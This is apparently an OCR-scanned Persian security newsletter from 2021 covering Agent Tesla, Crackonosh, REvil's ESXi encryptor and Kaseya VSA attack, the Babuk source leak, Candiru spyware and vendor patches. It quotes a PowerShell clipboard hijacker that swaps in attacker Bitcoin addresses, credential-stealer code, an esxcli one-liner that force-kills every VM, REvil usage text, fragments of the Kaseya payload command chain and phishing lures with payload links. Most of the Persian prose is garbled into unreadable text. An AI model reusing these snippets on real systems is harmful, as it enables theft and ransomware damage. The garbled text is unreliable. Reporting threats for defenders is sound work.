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(Microsoft .NET Computerlnfo(). TotalPhysicalMemory @b ;1) abdls 5.0
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Chrome .
Firefox -
Edge -
Safari .

SRWare fron
CoolNovo -

QQ Browser -

uUcC Browser -
Elements Browser -
QIP Surf .

Epic Privacy -

Amigo .
Coccoc .
Coowon .

Torch Browser .
Orbitum .

Yandex Browser .
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Sputnik
Chedot

Vivaldi

Iridium Browser
Browser Y7o
Chromium
Opera Browser
Sleipnir #
Liebao Browser
CentBrowser
Brave

Cool Novo
Citrio

Uran

vStar

Kometa
Comodo Dragon
K-Meleon
FALKON
IceCat

Flock
WaterFox
PaleMoon
UCBrowser
IceDragon
QQBrowser
SeaMonkey
BlackHawk
CyberFox
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Postbox
Foxmail
Eudora
Mailbird
Becky!
Opera Mail
Outlook
Thunderbird
eM Client
IncrediMail
Claws-mail
The Bat!
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Pocomail .
Psi .
Trillian .
iLo)l8le) oo

DownloadManager -

jDownloader

OpenVPN .
SmartFTP -
FTPGetter -

WS_FTP -
Filezilla -

CFTP -

FTP Navigator -
CoreFTP -
WinscP -
FlashFXp -

A2 (50 U».JLM ]) Firefox ;)9)40 )‘] ﬂ}.é].).} b..uugJ [RW) us)w (_glmb.)l.) 2 Roals ‘de L;')t‘

1817 foreach (MainClass.x x in list) -

1818 {

1819 ity

1820 T

1821 string text7 = x.Browser;

1822 i string text8 = x.URL;

1823 string text9 = x.Userhame;

1824 string textl® = x.Password;
D 1825 P it ((text8.Length > 1 | text7.Length > 1) &

| textd.length > 1 & textld.length > 1)

1826 ¢ i {

1827 if (MainClass.int_2 == @)

1828 H { o
00% -~
Watch1 v
Name Value Type =
dw x {AMainClass.x} AMainglass.x

¥, Browser "Firefox" string

#, Password string

#, URL "https://accounts.google.com” string

#, UserName '_@gmail.cnm" string =

Locals Watch1 Analyzer Memoryl Call Stack
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function isBitcoinAddress([string]SclipboardContent)

! if (SclipboardContenc[0] -ne '1')

{return S$false}

$strlength = S$clipboardContent.length
if($strlength -1t 26 -or S$strlenagth -gt 35)
{return Sfalse}

SvalidRegex = "“[a-zZR-Z0-9\s]+5"

if ($clipboardContent -cnotmatch S$validRegex)
{return $false}

return $true

X olezlee oo (HLis

SpitcoinAddresses = ("19VFGWgBkn6J3kMdSApfChbtbNUmgEeBMvp", "19VFGWoBknEJ3kMdSApfChbtbNURgSeBMvp",
"19VFGWgQBknEJ3kMdERAp fChtbNUmg8eBMvp "™, "19VEGWgBKNn€J3kMASAPIChtbNUmgEeBMvp"”, "19VFGWgBKn6J3kMdAEAD
fChtbNUmg8eBMvp ™)

S$bitcoinAddressesSize = $bitcoinAddresses.length

gi =0

5o0ldAddressSet = ""

while (1)

{
SclipboardContent = |Get-Clipboard
if((isBitcoinAddress (SclipboardContent)) -ceg Strue -and
$clipboardContent -cne $oldAddressSet)

{
Set-Clipboard] Sbitcoinlddresses[£i]

1394050 4093 R 3)lge Cale) ©lags ol L ablie (glp

S5 oslaiul joyay 9 3iad)ad pugpgaS i

Disable " ;S (3,5 Jl2d L 3515 (5)15 s bl oyl 0 &5 Gy sl Office ()i8le)5 acgazo )5 Macros cahs
sl aolyd Group Policy @b jl jSyatie &)ygods ladis Jlacl Sl .39 Jleé “all macros without notification

6ol slosls (53,5 5L lej > Office Hl38le) )5 “Disable all macros with notification” 43 ()39 Jled wjygo )5+
1) 392 el OlashaiS (Pl )3 ai8) )50 (gloaS I eslatiuwl (gl U 390 diwlg> p)l5 5l g 63 yolb (ol 9)Sle
2> Phe s Blgie il 92,55 5L 9 SoSibke lodald I 93)5 B3 Spo @ plojlw phylS leivl) 9 Gijgel 22>
AL @bl o bld ¢l b Lol | (g uSain

g dgume aSuid 05)3 5> 9)Slo Cawgwy (ghld> gl Juasl ¢

S Jolo lizebl 25 03) 5| Jole i 395 50 jl oslasuwl pac il -

23 )18 1530 0)l50 1) ol (50le5 (59) 32 Giiel gloa=ol cuas -

03901 Jl38ls g olind IS bawg’ e (b s 2l 090 53 (52 Ga)S 30 S9am |y Pl Gupiws phw

9503

:Eguﬁ

+  https://news.sophos.com/en-us/2021/02/02/agent-tesla-amps-up-information-stealing-attacks/

+  https://hotforsecurity.bitdefender.com/blog/threat-actors-spread-agent-tesla-disguised-as-
covid-19-vaccination-registration-25998.html

- https://www.fortinet.com/blog/threat-research/phishing-malware-hijacks-bitcoin-addresses-
delivers-new-agent-tesla-variant

- https://krebsonsecurity.com/2018/10/who-is-agent-tesla/

- https://blog.360totalsecurity.com/en/large-scale-phishing-attack-on-western-europe/

- https://www.mcafee.com/enterprise/en-us/Ip/threats-reports/apr-2021.html
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ol 1) 59530 Hlslas Oyie 35 @ 639)1 S daumd (550)8 a5 LolSin .l 03g) Jlod Liw Jw aw jI J8las Crackonosh
Windowsa (gjl)s cauwd b aS sgdis0 ST im,Swl (chal b (53001 6,um55 30450 (5ilo5]8 @imaw )5 Crackonosh ais e
g0 Safe Mode clls s ol 33z (gjlall) g0 Registry

ool iz 13 il 2olgs [l jome lo)lal )3 51 (e39dm0 dlass lgis 394 (o0 1> Safe Mode ,> Windows 4 (0K
o2l 51wl 836381 jloe (glodolp (pl Cawnygd 53 1y 395 45 Giow a5 315 13810 aiiwa Jleé Safe Mode wdls )5 (wgpgiuo
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SELECT * FROM AntiVirusProduct
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https://decoded.avast.io/danielbenes/crackonosh-a-new-malware-distributed-in-cracked-software/

newsroom.shabakeh.net



Foo 33,0 | wleMbl (g)9lid cuyiol A olidlo

ESXi
REvil )li8l2L 302 Voo

VMware (glow (sl yiuw ng[wobgﬂ J s Linux K:A-'}_').)I..\E)'A) S5 LS)—.S)'S-.’ L REvil Hh¥leb Qlf_\.i.')b; Blesly s glio (550

i LT silowe sopyile LS)"K}") 9 ESXi

0D g 9 (6)IS (53 bl @B 45 3L Ry 9 Jagws 09200 Y @ plojl & el > )3 ol
le351 (59 (Gjle (51 @ (5o y@ | Uik ()l @ilio jl oslaiul

4_39§ Ol WA dagl (6)9002 by (LBl (63,0]) oo 35y g ).JAAS A (s digo CASy L_g)l_{A_(D L aS Cdbo ¢l asldl s
Cawl 4_‘9; I8 )y 390 REvil H8lzb 5l s

69 hal (RUlg3 L ol3812L ¢yl Linux casd asus jlics! (530 5l L59§.mj VU G > REVil US.\J)'J;).U 8 ole SO dga>
5393 033 30l 1) NAS (cloolSiiw)

Ll ESXi (59,0 (9315 )h3 Gao Jlo )5 REVIl i8Iz LiNUX cass dduws odd yixiio (oi)liS (525 pwlwl p (eS|
Ll T Windows ess (glodigas b ailie (Slansis Jolis g Gl ELFO4 CJB )5 L16 )158120 ol LiNUX dsuws
Silent Mode @ powge clls (giludled & s ) loyd LB )3 Bad yune (puei b B Dlgise azlge gy 59y o Lol b
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Usage example: elf.exe --path /vmfs/ --threads 5
without --path encrypts current dir

--silent (-s) use for not stoping VMs mode

1'11BY DEFAULT THIS SOFTWARE USES 5@ THREADS!!!

)8 waBgio |y il g 03)S Caunygd |y ESXI o 0 L2l (gjle (glogyaidle ¢lgie €SXCl ployd b3 )il jl (gyaS0ye L
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esxcli --formatter=csv --format-param=fields=="WorldID,DisplayName" vm process
list | awk -F ""*,"*" "{system("esxcli vm process kill --type=force --world-id="
$1)}
09N LQ,)T (S)L'\j}o) O&ol C)T Ao )d aS _\)yubﬁ ECITEIRNI IR V) 0)93 /vmfs/ 4.4»9) ) a5 VMDK (SLQ)LJJLQ VL OLO)é Lg|).>| L
AL 00 Ay (5u0yd @ (6)lS50y 3ilyd SLET 1 iy (b Jus o )51 a5 2ud gl ¢l b .3gd 0 aolyd ESXi cuilas 43¢5 yo
3944) kf)l)_’.> :umm st.} oT LsL(bo.)b Caw! u_imo
b0 pohd (loyd diz (g2l b g5 ESXI (5l (slopuadile (solel (5)145)0) 5ol SiSS ¢l b a5 S lgie aolS jobey
Do e 4zl ju3 Sodinokibi b L REVIl l38lzL

5 Hellokitty ¢ Babuk: RansomExx/Defray. Mespinoza. GoGoogle. DarkSide ,.ks 555 2yko slayliblal (5
L5)15 40b)15 )5 LinuX (glol3S5e) busgs ) ESXi casd (gl (slagpuile (5315 )8 Gao
ol dlyyd P8 ) S )3 GinliS (al 53 83 wislsyy dgas (I0C) (S39T (slodilin

https://otx.alienvault.com/pulse/60da2c80aa5400db8f1561d5
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Pl B35S ysiniie (Open Source) 5L 35" @)giods 1) 395 )hélab B a5)ls uab a5 43352 63, el )5 i olaslge jl 69,5 ¢l

! Uil b Sh31 eyl 35S ()b 0y (REES laisl 4 - ) “Gugyw plsicay )81RL" )90 ¢l 5| 351522 55 (g plie ployze

- Hellg World 2 - Babuk

“—

c e

Closed

e Ve

o K

33,5 Glac 1) 595 sxeg Babuk p Shive idylaw (slo)liblal el gl

x_

£330 £ AN s fblogich 120% Q& =

:¥:\:{V) 4 Hello World 2

Hello! We are happy to inform you that *** was our last goal, only they
now determine whether the leak will be or not, in any case, regardless of
the outcome of events with ***, the babuk project will be closed, its
source codes will be made publicly available, we will do something like
Open Source Raa$, everyone can make their own product based on our
product and finish with the rest of the RaaS

Cached Document

Title Hello World 2

1 Apr 29, 2021, 12:10
IRL  http:f/Babuk Extortion Website (Babuk Ransomware)

[ObfuscatedVblog/c67eB4903e2846c4221 561 50feBd168786be2d7 420006247 39aaa0dedBbbas42/

## PD and Closed
Hellol We are happy to inform you that PD was our last goal, only they now

determine whether the leak will be or not, in any case, regardless of the

outcome of events with PD, the babuk project will be closed, its source codes
will be made publicly available, we will do something like Cpen Scurce Raas,
everyons can make their own product based on our product and finish with the
rest of the Raas

### *sDownload linksié#

views: 45

[Back to home|](/)

Sy 3)S Ll 395 @ |y (Siuiel ldss dzg5 3oy saub Jlwyl VirusTotal colw 4 a5 Babuk izl jl (glaiges (Silia

Cawl Babuk 38120 1 33z (gladums jgSie digas a5 31> (Lid yidiw

HL el 1y 395 slaculles PayLoad Bin wis lgic b ¢laslpe ¢l ‘d_.g)9T ol )5 Babuk GIP¥I2L B § cuwS Glubed 5l G
leWbl Cdpw SMas olys 55 365 by L2e (cly o j1 T 45 Glilobs Jo cyae 55 .255,5 ET Slebl by 695 5
Babuk pb b po U T dilelus (49iST Ll .cisls ColSs (93 (T 53 09,5 (] juzl Caiddge 1l b @S cudled jl 353,50 o3l

ol 034 Jleé Dark Web >
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Welcome to Leaks site

created by Babuk ransomware

next categories of organizations

] & 8

bospras [or 1t oo Sl usres
Excopt prnvib jhasbe sogery Aery non-pe ity universibes Comgunins with sl irveno
clinics, private dental clinics. foundation I than 4 ming (info about

Matropolitan Police @3 @10 | ]
Department (history ) The Babiusk w70 roivor

Thee Lisers and passwords hashes lor VPN
‘acceyy belore amack.

I -

Tht Bk 2.0 e

oy l3812 L (gLid @ )S0 )b S L8 asus jl wolatie o Babuk I sz (glasws wsle b plazlgs ol &5 sl (asuiv
Voo lgi5 g3 )3 a5 (g5l (5)138laL dlas 15165)S Jluyl wleMbsl (6)9lid Caiol gilio jI (S0 @ a5 (ullas )5 iz DldiiS;L
ol 48,5 0,03 BaDUK (518 asms j1 a5 $5lo3ls s 1505 (509, 43 lougli |y 393 oad (351 )V

2058y 5l 1y ()58 2L Vaz gzl 5503 )b U eddd tazgo 132 )15 g S ) laslge ¢l Cuddge pac du)y (50 H5 @

https://www.bleepingcomputer.com/news/security/babuk-ransomware-is-back-uses-new-version-on-

corporate-networks/

VNS W thke rom Zoominic)

( Show leaks info )

About Uy 1 Qur Ruley

Leaks Data

Thee Babuk 2.0 new

The Babuk team shares an
the position stated by the

most famous hacktivist

group.

Tha Babuk wam shares the pesiton stawd
Ly M micest Aaamrcet BCkINISE QrOwp.
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A Click here o P . T help presess your privacy dewniead of same pietures in this message.

7] SecuringUipdster s
(H HOKE

satall the weiate fro= microsoll 1o ErOLECT aginSt ransomware a5 30om is poasible. Thes i feming b velnerabibty in Kaseve

¢ knsey= com peaennial-anack-on-kaseva-via i;. gy /a5, 153,241,113 download plosd. exe

and Regands.

Building T

Barbans Rosd <opan lang-EN-GB style-‘mso-ans-language:EN-GB™>
Easl Kilkride

74585

Tel 444 1385 59800

i 43 1345 S99R10

Fan 144 1355 S5EH01

Mob +44 7590 £03057

maitn: pyiidouson grenke 0p 4k

gt o 3 P S 3 sk vt S By 1] 15 Erinn gt ssvbas SAVISASE

From: Fona Mack iBoolpdts.co.uk]
Sent 06 July 2021 1:35 PM

To: Widdowson, Graham

Subject: Commercial Combined Policy
Importance: High

Here you go
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Help Desk
immadiate Action - Workstation Update
To:

Hi .
Given the recent ransomware attack against Colonial Pipeline and many other organizations, @
S smmeee s requiring all employees to run a new update that will help the system detect

and prevent the latest strains of ransomware. This update will help harden the employee'’s workstation.
Please, update your system by May 28th, 2021. IT will follow-up with future actions to take.

You can download the ransomware system update using the link below:

s, Selectivepateh.com/patch/update.html?16c64d7192eaeabcab3070292feB06767e310422e#

Thank you for your cooperation.

odlaiwleguo (95 (Bl pld @ (gl j9) Llis Wlegbgo g LSl jl 6)lg00 (6 pnlw ]y 55 a5 Cawl L')T )9—|.>l,§ 32213135 95 ol

cdbol @ i 42 ) 495 g a8 ‘(Anti-spam) 40bj)m3u0 L pgwge (5lo)ll 9 59, 9 3ie3)A8 g pgaus I edlaiwl o sglle
23055 51 olojlw sl o5 (panl 53 bl (ainis Lg3T 53 03 23 (GloSid (59) p SlS b Cawgy (shal jI Ju (o)l (glooJaa]
13 Oy Olanags Egd ol
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Gyl Sy sl 5010 S5 2535 yiiio 5 Y 1 LT Citizen Lab awwge 9 Microsoft wsyis o5 (oS (wlwl »

DevilsTongue 13815 a4 Lsbys ol (g5lwesgll Jlo )5 WIndows 332 yauo-jg) (sl 93 jl oslatiwlsgw b Candiru

Cawl

1 (loauSs saud dug (g)5005 Cawnlyy (L8l (63 ul) Cuyde (Se g yiwS S Lwdige CiSyb (g b a5 Cdbas ¢l deldl )
ROMPRV PUNIP S

oledd @ diblS gl e )3 Sy ol pb .3yl )h3 (Il udawdd )3 ¢ i85 a5 Cuwl ase glocled L (i3S Candiru

Al 6340 0315 e

Company name Date of registration Possible meaning

Saito Tech Ltd. (n"ya 70 10"'x0) 2020 “Saito” is a town in Japan
Taveta Ltd. (n"va nvaxrw) 2019 “Taveta” is a town in Kenya
Grindavik Solutions Ltd. (n"vannnno 7'11ma) 2018 “Grindavik” is a town in Iceland
DF Associates Ltd. (n"'v2 00"X'0IOX 9K .7T) 2017 ?

Candiru Ltd. (n"'va n'mp) 2014 A parasitic freshwater fish

Table 1: Candiru’s corporate registrations over time

N '.QJ—l L duwlg sl g lcdgd 4 hhamis 1) 395 Cblw (gl wowls la)ll SSyb ¢l Citizen Lab aiwS @
Jole @i b (gloolSiuws dPhone (glo4g5 ;I (swowls @ 5318 Ho53e (slalpl a5 saud (I)iS . Adbgyd 50 alitxe (gld)ginS
A (6l GWLl) sy ) (595 loclws 9 Windows cass LSLmoLi‘iw.) Mac (_glﬂmlihu.) Android

045 95 Ignels S L B siede pliel eyl ol plyidhe @ (gl 02w ;505 Ol b ugmlz oyl ¢l
aoldl > g aid)S ;L] )3 1) LT J,iS 395 Glasl @y @letie coyiil @ Juatie 6w o LIS jobas g (claSaid el olyao
g1 50 hol @ ly 395 4085 390 lilac
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awl 03)S Al (gl ol o2l
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934

9Summan

395 OVguamas jl (55 (5l (el (aisVol as)e 4 pladl Cugs iz )3 olo 5 )3 (Cisco Systems, INC) gSumaw Sy
(ngh) “X)L;“ lQ,JT)I 3)90 W Coaol LESN _\.\.pr IQ.\.O).J uJ)w wl aliso C')&)yap.o ) |) (_g))..bu.wﬂ (\Yg L.Q)b_l\bu))‘9)d.g O‘fl ,A)S
9 "(gilsiel &8)3" wleMbl cuis” (Command Injection) “¢leyd G2)5" (ezed (Vs @ (6 pdscawl Cuwl oad GiyliS
wdye o 5lwyigyds 390 53 JolS Wlaudgs dimd 232 (sloHlw)jg)ar buwgs sxd galye CISWI daz I “Guagyw gie”

ol Guyiwd BB 5 SU )s oddd

https://tools.cisco.com/security/center/publicationListing.x

)9els9
Z.\)S ‘o].\.§| ») C)leam lA.\.O)J O Cawd ‘bjLw))'”dg )l.AZuH L (VMware, |nC) )9|°|L§9 uS).w BB

VMware Carbon Black App Control Management Server
VMware Tools for Windows

VMware Remote Console for Windows

VMware App Volumes

VMware ESXi

VMware Cloud Foundation

Ao il dSlolw 18,5 LSl )> 4 3B 1) aslge doSlwyjgyd ¢l buwgd 63 @ioyd el (locees jl edlaiwleguw
awl agllao (BB ) (ol s yidw wlyjz

https://www.vmware.com/security/advisories/VMSA-2021-0012.html
https://www.vmware.com/security/advisories/VMSA-2021-0013.html
https://www.vmware.com/security/advisories/VMSA-2021-0014.html

@axeys Citrix Hypervisor ;s 1) “ Gugyw gie” (5 pdocawl 3z i (Citrix Systems, INC) (s it Sy «uiiS oS olo )>
ol Gyt (B 5 S s 3T Wlujs S 5)S

https://support.citrix.com/article/CTX316325
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3,5 dbog ) OVgamwe )3 35 1) Siuiel (plocars wle yu5 ) ESub ¢yl

Virtual Apps and Desktops
Application Delivery Controller
Gateway

SD-WAN WANOP Edition

23S asllae ) (gl )3 wuilgise |y T Wl

https://support.citrix.com/article/CTX319750
https://support.citrix.com/article/CTX319135

s
13,5 15 W3z Eud )Lisl @ eladl (Bitdefener, INC) jaiaysc Sy 1Foo Jlw olo ¢yuo)lez 5o
Bitdefender GravityZone 6.25.1-2:
https://www.bitdefender.com/support/bitdefender-gravityzone-6-25-1-2-release-notes-2722.html
Bitdefender Endpoint Security Tools 7.2.1.70:

https://www.bitdefender.com/support/bitdefender-endpoint-security-tools-version-7-2-1-70-release-
notes-(windows)-2723.html

Endpoint Security for Mac 7.1.2.200003:

https://www.bitdefender.com/support/endpoint-security-for-mac-version-7-1-2-200003-release-
notes-2720.html

Cad) 99
FortiMan- ;> 1, CVE-2021-32589 awlics b (g p 3wl SO (Slw)jgy ,Liol b (Fortinet, INC) i) ed <Sys wlo yu5 YA

oot sy dhaw b 593 oy jl &)ygu0ds 35 (hal 4 )36 1) polgo 95ie Lams jl oslaswlsguw .3)S a3 FortiAnalyzer g ager
ol Guyiwd B 5 S ) yidn wloje 35S0

https://www.fortiguard.com/psirt/FG-IR-21-067
Jshys!
powge (o Hlw)jg)aacgame ;Wb b g5 dolodw 634 (g3iwilej 4ol b @las (Oracle, Corp) Jslygl caSyss caSyuis s ¥4
G2 )l edlaiuwlegu 3,5 €Sy ¢l sl Joame lood )3 (isiel (g piocawl VFY aie)s 4 plaél Critical Patch Update
2> JolS Slj S50 imcdlel 6595 yo @ 5L (g 93 ol) jl &)90@ 35 (ghal @ 2B ) p2les 9530 glog iyl ||
ol Ca8ly)d JB 5 SO s T Hogas

https://www.oracle.com/security-alerts/cpujul2021.html
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b_)g.)l

ol 2o 263 953e (glodisol .35 yiiio |y 45gj olo (sisiel (glodimol dcgazo (AdObe, INC) (193] Sy wlo ,u3 5>

.).JuSUA @20)5 k_/S)m CHI (;\leam ) l)

o> 0 )|)§ ).AJ;L) Cass I) Acrobat / Reader (_;L(b)]}éllo)j) dcgamo dod> ol CHI b4.u9) [RW:) lQ.\A)J (SL(DLS)J.)JL_A..\AA)T )‘l 3)90 4

Sl 0340 Ufb)l)‘j "b_'iL;\D" lﬂ)LS)J.\JLA_uA)T Ol 51 9)90 1P Cawluns @A (b ¢l 5l

PoY1.000.VooOA @y Acrobat Reader DC ¢ Acrobat DC (sla,ljdley (g)ls (slo )55 asums audgs olo (Hilwyjgye wuas b
3)S AolgB @3 Yol V.ol el @ LT YoV (glao 5,155 g YoVo,00F. Vooof ay VoVo (sl 5,55

Cowzo oliws (535 039) (sl sivg) jI X2 Acrobat / Reader (slospdpiaml I ))530a5 o3latwlegu Caml )55 4y @5V
GLyjgrn el &5 3515 EMbI (Bables ail .l (Sliuwn cpedl h1> )81y ool (sasmiol cuas )bl (yrad oy 9 395
2523 s)lil g Loy I eslisul b b aSuds plise 9 S 9 4l 3929 Gl IP (ol b (2931 gloyléleys 559>

SIS el @ el

ol agllao (BB 5 S )3 (93] ASgi slo (slodus Vol dcgamo Hoguas ) Y wlelbl

https://helpx.adobe.com/security.html

J329)Vgu

Canlgs 395 (byiine jl Serv-U > siiel (g pincawl SO 3929 pdel b (SolarWinds, LLC) jaisgVow Sy dFoo yu5 )5
vewass CVE-2021-35211 awlids ¢ 41 45 (g 3wl ¢l .33 pladl abgyye (5iluyjg)ds cuad 4 s «dy & ywl )3 1
51 oads &1l oMbl 4y sl b jaing)Vow dobiduogs > .l 634 GinliS “)93 ol) 5l &g 35 (glyal” Egi I (oo 6aub 631>
2l 21323 CélwgySole .l 8340 30U laslge jl 09,5 o Jlas Jawgs CVE-2021-35211 jl eslaiuwlsguw cidluwgySolo (gomw
CVE-2021-35211 I Serv-U Secure FTPg Serv-U Managed File Transfer .cusl 03,5 plel 30830 g 39350 |y &ias
ol aglline B 5 S )3 g Vguw aels amogs 30 53l

https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35211
Sl

gé)b).) 9> dsma R ) |) L;).).\_)u_uuﬂ 1A ‘4.;59) slo (Slﬁ)dﬂDXLwld.ch:;.o )L&J.Sl L 1Foo 5 )3 50 (SAP SE) UTU»I
el (920 .l 03 ()35 (CVSS 3)jlastiul Gubo 1) Vo 518 51 Giw (el (glocasus ¢l 1 350 95 b .35
el agllhao ) o) S )5 yiiin Slje Mo el J)S i8S )iSl )d @ )38 1) @2lge 03 a0y (gl

https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageld=580617506

LsDL’T

Apache Tomcat > Iy CVE-2021-33037 awliss 4 ;220 {Apache Software Foundation) 2Ll (s)l58)eys by ol )5

0903 5 15 o ) i Wlelbl  AiS 1o (wlws 06dlL WleMbl & (Hliwd @ 3B 1) aslgo o jl edlatwlsguw a5 3)S yiiio

|

http://mail-archives.us.apache.org/mod_mbox/www-announce/202107.mbox/%3Cd050b202-b64e-bcof-
a630-2dd83202f23a%40apache.org%3E
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Chrome ,S)9y0 il (sl pdznn pao) @ 8l Hluyjg)a adse b Cugs iz > 25> (Google, LLC) JSs5 wsyds
BB 5 oS ) said galye YLDl Cuwygd ol AP0 FOID N0V bl HLixil 3 YA )3 a5 )5)gp0 (ol dBumd ()3T .3)S

ol saolire g Cdly)s
https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop_20.html

https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html

https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop_24.htm!

J

5 aueys Safari dles jl 395 Jaamo (piiz )3 1) il (oo (Shyjgyw HLsl b (Apple, INc) Jul ey wle yu5 )5
yion Olpiz S50 pioial dlolw JyiS (538)S LBl ) 4 )38 1) azlgo gSie (glotassd 5l (5 ] oslatiwlsguw .5)S 2ol
‘ol agllbao (P18 ) LS.LJ)Q

https://support.apple.com/en-us/HT201222

Wjgo

)]}élp)J 9 Firefox )5)9)0 ) |) b.u.u:] LS)J.\JW}JT Jiz ;bjlw)j9)¢g 45|)| L (Mozilla, Corp) \b)gp uus).w Cdds oS L)_SbLo N
ST )3 iy Olowudgld .Gl oddd (955 VL w0 @ueys (Glog izl ST Cowlus dz)3 15,5 B,k Thunderbird
awl agllbao (BB 5

https://www.mozilla.org/en-US/security/advisories/

J29yd

CVE-202T-awlidd L "Sle” gripmnl S isiel solyjg)er aé)e b (Drupal Community) Jyg)> agelz o5 o
Oloubgs A4S e Glolw JiS (5385 HLasl )3 4 B 1) aslge (o jl edlaiwlsguw 3,5 2ol Drupal gus 5 5 1) 32610
ol Guyiwd (B o SG )s ogas ol )3 JolS

https://www.drupal.org/sa-core-2021-004
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(Kaseya VSA « 3905
2ol 8ya255 e 51,50 (laigas
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S0 )3 OLLyS (il das 631> s REVIl )8I2L 4y (S59)T doui )5 walitee (glocsSydd (i 28 5l (6> glo wlo jui ) g

gy Kaseya VSA (sloygyuw jl padtivnoyué by aadtivune 63wl (] g 35591 Syidio juz
02l shal U9y 0323)5 4l (5)9002 il (LB (63,40) Cayp3e 550 g yiawS ASaib (w0 dige CiSyib ()5 b a5 )l3S ol )

anl 438y )18 Jal=s g sy 3)90 alam

LuolS 4185 43315 pabiune jouas lgz 594 o ) a5 Cunl wlelbl (¢)gld (slo)Saly 059> )5 Jled (1S (Kaseya, Ltd) Lusls
5oy (gl Syl OVgamo dlaz I VSA La6S 4e sslasiuwl CSyib pl @Vgamwe 1 (S0l J8las (g i )l Fo 5l o
oSy ¢byiie (SLL bl Cuypde (gl yiuwn 53,5 @olyd VSA Lol (ldy)l5 il (S .Cawl Lk bls g loaSub 695 ol
VSA jl oslatiuwl b ailgi 50 oSy ¢l .l (MSP jlaisl « - Managed Service Provider) (Sluiin @leas s3isddl))

RV Copde Cawl 834 Cuad LQ,JT ©9) ) Kaseya Agent )|}§|f>)j as I) 39> Ub).wuw (5)15 (SLQ)QM] 9 ljb)9)w

REVIl (lwlish jlol (jlojam 315 ju> VSA byisie jl (63940 31323 3ub 1 05dlL dlas SO (ghyol jl cagas jg) 55 LuolS Jole pdo
S aidly Ginljél Gadba dicks Sy lojb )3 BIRL el 4 olKiws 539l Lasy o

REVvil detection spike, July 2 2021

sorPHoslabs
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345 329 (Sl 3 pla8l 395 VSA (glygyum 93)S (9ol & Caaws Tygd yiin az bluisl (gl canlgs 395 (byidno | LunlS
D)5 2 puyiwd 1) 395 6315 35)0 9 VSA (60l (sl (sloygpm Sy ¢yl

ol 63 s3uo dlas Sy ()5 45 35 Vel Loy LuwlS wolo 3 1¥ )5 sy jg) 93
loads H3lio 63yiunS dlas ¢l j1 T (byidino j1 ()lu o &5 @0 9 Sy Po J8las a5 1le3)S Giv)liS ilie (15

69 2 20 35 &jg5 4 e8I VA )5 ja0mjg) (g il S il eslaiulzgw jl oy plazlge 13 pUiS (g32) Gy
GRS O (532 G dlas (ol dield g Wb 35391 63,5 REVIl 38120 @ ST 93,5 039)1 g Woygym ¢l & (Jais gloolKuws
oS )3 ooy’ el jl (252 . 333)5 395 by (sl 8jg (el doliaogs g )lasho )Liaiil 4 a3l el (glows)d

awl aglllao (JB 5

https://kc.mcafee.com/corporate/index?page=content&id=KB94660

https://businessinsights.bitdefender.com/advisory-on-kaseya-vsa-ransomware-attack
D950 48598 (ylazlge b 4 RAAS U powge Glods LI )5 S Cwl (g)l58l2L REVIl

Iy Oy Ll olilab ol « RaaS )laisl ¢ - (Ransomware-as-a-Service) “(mgpw olgicas Hi8lal" wloas >
Sl aadbg lgis Al bl (paass ugidely )3 Cuwl (pSao a5 (poldio .d@d(0 o)lol (Lolite 4 ks S lgicw

S5 Quigw (sl 4 S0 (A g )lBl2L ediuwggl ) (51,8 1 sads (GBI glue I (eidu Culgd > 3l exge w1y Hldl2L

Judiul 3550 Ju8 51 i REVIl 303 1381 b ¢paiz g RaaS ¢Bails)S diwlgs3e5 29,5 b plagil I Gug diibdS Jo o b
ol 4i)S )18 (g pnlw o))

aS Blaiily Hlehl (puizan 351635 639)1 REVIl @ 1) 6luns (ygaie SO jI inw a5 Bl (sede (silbao )d sl dlas (jlaslge
13)5 _\.A.Q>19_’> J).uu.o LgLu.S).O) )|}g| &_))b.u.ul @Q lol..\§l ‘)Xb U9""L*‘° Yo &Lw CAQL{)) (S-SR

KASEYA ATTACK INFO

On Friday (02.07.2021) we launched an attack on MSP providers. More than a million systems were infected. If anyone
wants to negotiate about universal decryptor - our price is 70 000 000$ in BTC and we will publish publicly decryptor that
decrypts files of all victims, so everyone will be able to recover from attack in less than an hour. If you are interested in

such deal - contact us using victims "readme” file instructions.

vemaz3 CVE-2021-30116 dwlid OT d_)T.)&_) S VSA jgyw > yau0-j9) LS)JAJLMT SO @bl plasleo A o)Lil a5 Hob( )l
LSlodd 03yiS dlas ¢l (hol 4 (§9g0 M 031>

GLjor lepd S 32l b g 13335 @l ) ol & a0y sy VSA JyiiS 38,5 )Lzl )3 jl gy glazlge cales ol )3
023 VSA ©lashai3 (wlwl p a5 (0,8 i yume ) |y agent.crt wyze Jold "Kaseya VSA Agent Hot-fix” lgie b (sleo
253)8 (S Juaio (5ol (olal (5) 2 S92

o dlaz 51 VSA bwgi edlaiwl 3)g0 (gl 45 635 duogs 395 (byiwie @ (538 dlao ¢l jd LulS a5 (pl dazg3 P8 4SS

RV VR TRV
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Kaseya » VSA » Anti-Virus (KAV)

Anti-Virus and Firewall Exclusions and Trusted Apps

The following list of exclusions and trusted apps ar needed to ensure any Anti-Virus coexisting with the Kaseya Agent allow it

to function appropriately:

Exclusions

* <agent working directory>

o C:\Program Files\Kaseya\

* C:\Program Files (x86)\Kaseya\

» C:\Program Files\Kaseya Remote Control

e CA\Program Files (x86)\Kaseya Remote Control\
* C:\ProgramData\Kaseya\

» C:\Program Files\Kaseya Live Connecth,

e CAPCBP (for KDCB)

he agent working directory, by default, is c:\kworking\ but may have been changed by your VSA administrator. Please

review this before setting exclusions.

Additionally, having multiple Kaseya Agents on an endpoint will cause the agent to have multiple agent working directories

(ie; c:\kworking1\). Ensure that all agent working directories have exclusions set)

(oo (2 (siiane Judd> @) 0l (69 3 034 uad (sl 4oy ols I (siaslie 555z (530 agent.crt Jold ¢plplo
.)yub.a l)?| 9 0)493
Cawl 634 0315 Giulad 5 yugual jd a5 Vg0 (Sle>h8 (Liolyd degamo j9Sie (Jl6 ghyol b

indowsPowerShell

util C n ert &

ing\agent.crt c:\kworking\agent.exe &

newsroom.shabakeh.net

ping 127.0.0.1 -n 5693 > nul

Echo cauwlgs)s 053 slass Ping.exe B sgis0 wazgo N- yiol)l jl oslatiwl . 3iS 0 iyl 1) yayli S (ki cudabs )5 (loyd ¢yl
